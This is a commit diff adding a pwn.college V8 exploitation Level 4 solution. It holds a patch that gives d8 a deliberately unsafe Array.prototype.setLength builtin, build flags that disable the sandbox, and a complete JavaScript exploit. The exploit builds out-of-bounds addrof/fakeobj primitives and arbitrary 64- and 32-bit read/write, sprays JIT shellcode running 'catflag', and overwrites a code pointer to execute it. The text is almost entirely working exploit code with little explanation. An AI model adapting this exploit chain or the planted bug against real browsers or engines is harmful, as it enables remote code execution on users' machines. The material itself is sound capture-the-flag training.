Moved JavaScript/PwnCollegeV8Exploitation/ to PwnCollege/V8Exploitation/

PwnCollege/V8Exploitation/Level4/Exploit.js

@@ -0,0 +1,118 @@
+// Integrated Builtin:
+// - Array.prototype.setLength(length)
+
+let ab = new ArrayBuffer(8);
+let f64a = new Float64Array(ab, 0, 1);
+let i32a = new Uint32Array(ab, 0, 2);
+let si32a = new Int32Array(ab, 0, 2);
+let bi64a = new BigUint64Array(ab, 0, 1);
+
+function c2f(low, high) { // combined (two 4 bytes) word to float
+    i32a[0] = low;
+    i32a[1] = high;
+    return f64a[0];
+}
+
+function b2f(v) { // bigint to float
+    bi64a[0] = v;
+    return f64a[0];
+}
+
+function f2b(v) { // float to bigint
+    f64a[0] = v;
+    return bi64a[0];
+}
+
+function unptr(v) {
+    return v & 0xfffffffe;
+}
+
+function ptr(v) {
+    return v | 1;
+}
+
+function shellcode() { // Promote to ensure not GC during training
+    // JIT spray machine code form of `execve("catflag", NULL, NULL)`
+    return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];
+}
+for (let i = 0; i < 10000; i++) shellcode(); // Trigger MAGLEV compilation
+
+let placeholder = {};
+let corrupt_arr = [2.30234590962020889586281057477E-320];
+let double_arr = [1.09366371363418335018925267989E-319];
+let obj_arr = [placeholder];
+corrupt_arr.setLength(128);
+
+// %DebugPrint(corrupt_arr);
+// %DebugPrint(double_arr);
+// %DebugPrint(obj_arr);
+// %SystemBreak();
+
+const corrupt_arr_0_to_obj_arr_0_offset = 13;
+const corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD = 1;
+
+function GetAddressOf(obj) {
+    obj_arr[0] = obj;
+    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
+    return unptr(i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD]);
+}
+
+function GetFakeObject(addr) {
+    f64a[0] = corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset];
+    let old_obj_addr = i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD];
+    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = ptr(addr);
+    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
+    let faked_obj = obj_arr[0];
+    i32a[corrupt_arr_0_to_obj_arr_0_offset_IS_HIGH_HALF_QWORD] = old_obj_addr;
+    corrupt_arr[corrupt_arr_0_to_obj_arr_0_offset] = f64a[0];
+    return faked_obj;
+}
+
+const corrupt_arr_0_to_double_arr_element_offset = 4;
+
+// QWORD Aligned
+function ArbRead64(cage_addr) { // int32
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
+    let result = f2b(double_arr[0]);
+    console.log(`ArbRead64 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// QWORD Aligned
+function ArbWrite64(cage_addr, value) { // int32, bigint
+    if (cage_addr & 0x7) throw new Error("Must QWORD Aligned");
+    corrupt_arr[corrupt_arr_0_to_double_arr_element_offset] = c2f(ptr(cage_addr - 0x8), 0x00000002);
+    let written = b2f(value);
+    double_arr[0] = written;
+    console.log(`ArbWrite64 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+// DWORD Aligned
+function ArbRead32(cage_addr) { // int32 -> int32
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    bi64a[0] = ArbRead64(cage_addr & 0xfffffff8);
+    let result = i32a[(cage_addr & 0x4) >> 2];
+    console.log(`ArbRead32 ${cage_addr.toString(16)}: ${result.toString(16)}`);
+    return result;
+}
+
+// DWORD Aligned
+function ArbWrite32(cage_addr, value) { // int32, int32 -> void
+    if (cage_addr & 0x3) throw new Error("Must DWORD Aligned");
+    let QWORD_Aligned_cage_addr = cage_addr & 0xfffffff8;
+    bi64a[0] = ArbRead64(QWORD_Aligned_cage_addr);
+    i32a[(cage_addr & 0x4) >> 2] = value;
+    ArbWrite64(QWORD_Aligned_cage_addr, bi64a[0]);
+    console.log(`ArbWrite32 ${cage_addr.toString(16)}: ${value.toString(16)}`);
+}
+
+let shellcode_addr = GetAddressOf(shellcode);
+console.log("Address of shellcode: " + shellcode_addr.toString(16));
+let code_addr = unptr(ArbRead32(shellcode_addr + 0xC));
+console.log("Address of code: " + code_addr.toString(16));
+let instruction_start_addr = code_addr + 0x14;
+let instruction_start = ArbRead32(instruction_start_addr);
+console.log("instruction_start: " + instruction_start.toString(16));
+ArbWrite32(instruction_start_addr, instruction_start + 0x6B);
+shellcode();

PwnCollege/V8Exploitation/Level4/README.md

@@ -0,0 +1,10 @@
+# Level 4
+
+## Problem
+
+Given a vulnerability which can set an array's length by using `Array.prototype.setLength()`.
+
+## Key Knowledge
+
+- Heap Fengshui
+- OOB Access other heap content by corrupting array's length

PwnCollege/V8Exploitation/Level4/REVISION

@@ -0,0 +1 @@
+5a2307d0f2c5b650c6858e2b9b57b335a59946ff

PwnCollege/V8Exploitation/Level4/args.gn

@@ -0,0 +1,10 @@
+is_component_build = false
+is_debug = false
+target_cpu = "x64"
+v8_enable_sandbox = false
+v8_enable_backtrace = true
+v8_enable_disassembler = true
+v8_enable_object_print = true
+dcheck_always_on = false
+use_goma = false
+v8_code_pointer_sandboxing = false

PwnCollege/V8Exploitation/Level4/patch

@@ -0,0 +1,83 @@
+diff --git a/BUILD.gn b/BUILD.gn
+index c0192593c4a..83e264723f7 100644
+--- a/BUILD.gn
++++ b/BUILD.gn
+@@ -1889,6 +1889,7 @@ if (v8_postmortem_support) {
+ }
+ 
+ torque_files = [
++  "src/builtins/array-setlength.tq",
+   "src/builtins/aggregate-error.tq",
+   "src/builtins/array-at.tq",
+   "src/builtins/array-concat.tq",
+diff --git a/src/builtins/array-setlength.tq b/src/builtins/array-setlength.tq
+new file mode 100644
+index 00000000000..4a2a864af44
+--- /dev/null
++++ b/src/builtins/array-setlength.tq
+@@ -0,0 +1,14 @@
++namespace array {
++transitioning javascript builtin
++ArrayPrototypeSetLength(
++  js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
++    try {
++      const len: Smi = Cast<Smi>(length) otherwise ErrorLabel;
++      const array: JSArray = Cast<JSArray>(receiver) otherwise ErrorLabel;
++      array.length = len;
++    } label ErrorLabel {
++        Print("Nope");
++    }
++    return receiver;
++}
++}
+diff --git a/src/d8/d8.cc b/src/d8/d8.cc
+index facf0d86d79..382c015bc48 100644
+--- a/src/d8/d8.cc
++++ b/src/d8/d8.cc
+@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
+ 
+ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
+-  global_template->Set(Symbol::GetToStringTag(isolate),
++/*  global_template->Set(Symbol::GetToStringTag(isolate),
+                        String::NewFromUtf8Literal(isolate, "global"));
+   global_template->Set(isolate, "version",
+                        FunctionTemplate::New(isolate, Version));
+@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   global_template->Set(isolate, "readline",
+                        FunctionTemplate::New(isolate, ReadLine));
+   global_template->Set(isolate, "load",
+-                       FunctionTemplate::New(isolate, ExecuteFile));
++                       FunctionTemplate::New(isolate, ExecuteFile));*/
+   global_template->Set(isolate, "setTimeout",
+                        FunctionTemplate::New(isolate, SetTimeout));
+   // Some Emscripten-generated code tries to call 'quit', which in turn would
+   // call C's exit(). This would lead to memory leaks, because there is no way
+   // we can terminate cleanly then, so we need a way to hide 'quit'.
+-  if (!options.omit_quit) {
++/*  if (!options.omit_quit) {
+     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+   }
+   global_template->Set(isolate, "testRunner",
+@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
+   if (i::v8_flags.expose_async_hooks) {
+     global_template->Set(isolate, "async_hooks",
+                          Shell::CreateAsyncHookTemplate(isolate));
+-  }
++  }*/
+ 
+   return global_template;
+ }
+diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
+index 48249695b7b..f3379ac47ec 100644
+--- a/src/init/bootstrapper.cc
++++ b/src/init/bootstrapper.cc
+@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
+     JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
+                           array_function, DONT_ENUM);
+ 
++    SimpleInstallFunction(isolate_, proto, "setLength",
++                          Builtin::kArrayPrototypeSetLength, 1, true);
+     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
+                           true);
+     SimpleInstallFunction(isolate_, proto, "concat",